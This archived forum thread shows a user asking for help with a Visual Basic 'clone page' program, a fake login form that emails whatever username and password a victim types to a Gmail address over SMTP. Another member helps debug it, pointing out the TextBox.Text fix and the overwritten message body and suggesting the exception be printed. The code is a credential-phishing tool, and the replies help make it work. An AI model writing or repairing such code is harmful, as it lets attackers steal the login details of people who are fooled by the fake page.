You are viewing our Forum Archives. To view or take place in current topics click here.
VB Help with errors
Posted:

VB Help with errorsPosted:

minecrafto
  • Powerhouse
Status: Offline
Joined: Nov 01, 201211Year Member
Posts: 484
Reputation Power: 18
Status: Offline
Joined: Nov 01, 201211Year Member
Posts: 484
Reputation Power: 18
Ive been interested in clone pages for a while i never use them for bad things but i have recently encountered a error ""my fault"" due to my basic knowledge in VB i have some errors in my work i would love it if you could take the time to look at the code and help me.


What the program does is prompt a login page where the user logs in, once logged in the text in textbox3 and 4 will be emailed to a address where the person can see the details.

A screenshot has been inserted here [ Register or Signin to view external links. ]
The code is here:THE BITS IN RED IS WHERE THE ERROR IS
Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Dim EmailMessage As New MailMessage()
        Try
            EmailMessage.From = New MailAddress("[email protected]")
            EmailMessage.To.Add("[email protected]")
         [color=red]   TextBox3.ToString()
            TextBox4.ToString()
            EmailMessage.Body = TextBox3
            EmailMessage.Body = TextBox4[/color]
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("xom", "Bo1")
            SMTP.Send(EmailMessage)
        Catch ex As Exception

        End Try
    End Sub

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class
#2. Posted:
ObscureCoder
  • Resident Elite
Status: Offline
Joined: Jun 29, 201310Year Member
Posts: 211
Reputation Power: 13
Status: Offline
Joined: Jun 29, 201310Year Member
Posts: 211
Reputation Power: 13
I don't do VB but I'm assuming your error is coming from the fact that you're trying to set the property of a mailer object to a TextBox object, rather than the value of the TextBox object. Try:


EmailMessage.Body = TextBox3.Text


Also, the line after that is overwriting the content before it.
#3. Posted:
minecrafto
  • Powerhouse
Status: Offline
Joined: Nov 01, 201211Year Member
Posts: 484
Reputation Power: 18
Status: Offline
Joined: Nov 01, 201211Year Member
Posts: 484
Reputation Power: 18
I still dont receive the email


Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Dim EmailMessage As New MailMessage()
        Try
            EmailMessage.From = New MailAddress("[email protected]")
            EmailMessage.To.Add("[email protected]")
            EmailMessage.Body = TextBox1.Text
            EmailMessage.Body = TextBox2.Text
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("%%%%%%%%", "%%%%%")
            SMTP.Send(EmailMessage)
        Catch ex As Exception

        End Try
    End Sub

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class
#4. Posted:
ObscureCoder
  • Resident Elite
Status: Offline
Joined: Jun 29, 201310Year Member
Posts: 211
Reputation Power: 13
Status: Offline
Joined: Jun 29, 201310Year Member
Posts: 211
Reputation Power: 13
Try actually print the exception. I'm assuming if it doesn't work, there's either a coding error or external error that's out of your control. Like, it can't establish an SMTP server connection. Try outputting the exception message and tell us what it says.
Jump to:
You are viewing our Forum Archives. To view or take place in current topics click here.